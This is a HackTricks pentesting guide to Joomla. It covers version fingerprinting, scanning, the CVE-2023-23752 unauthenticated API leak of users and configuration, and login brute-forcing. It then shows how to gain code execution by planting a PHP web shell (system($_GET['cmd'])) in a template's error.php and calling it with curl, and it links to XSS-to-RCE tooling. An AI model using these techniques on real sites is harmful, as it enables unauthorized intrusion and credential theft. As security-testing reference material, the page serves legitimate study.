hacktricks/network-services-pentesting/pentesting-web/joomla.md

# Joomla

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### Joomla Statistics

Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).

```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 6.33,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 12.24,
            "3.6": 22.85,
            "3.7": 7.99,
            "3.8": 17.72,
            "3.9": 27.24,
            "4.0": 3.21,
            "4.1": 1.53,
            "4.2": 0.82,
            "4.3": 0,
            "5.0": 0
        },
        "total": 2951032
    }
}
```

## Enumeration

### Discovery/Footprinting

* Check the **meta**

```bash
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
```

* robots.txt

```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```

* README.txt

```
1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```

### Version

* In **/administrator/manifests/files/joomla.xml** you can see the version.
* In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
* In **plugins/system/cache/cache.xml** you can see an approximate version.

### Automatic

```bash
droopescan scan joomla --url http://joomla-site.local/
```

In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](./#cms-scanners) that can scan Joomla.

### API Unauthenticated Information Disclosure:

Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.

* Users: `http://<host>/api/v1/users?public=true`
* Config File: `http://<host>/api/index.php/v1/config/application?public=true`

**MSF Module**: `scanner/http/joomla_api_improper_access_checks` or ruby script: [51334](https://www.exploit-db.com/exploits/51334)

### Brute-Force

You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.

```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
admin:admin
```

## RCE

If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.

1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
   1. **`system($_GET['cmd']);`**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`

## From XSS to RCE

* [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script that **elevate XSS to RCE or Others Critical Vulnerabilities**. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:**
  * _**Privilege Escalation:**_ Creates an user in Joomla.
  * _**(RCE) Built-In Templates Edit:**_ Edit a Built-In Templates in Joomla.
  * _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins.


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<details>

<summary>Support HackTricks</summary>

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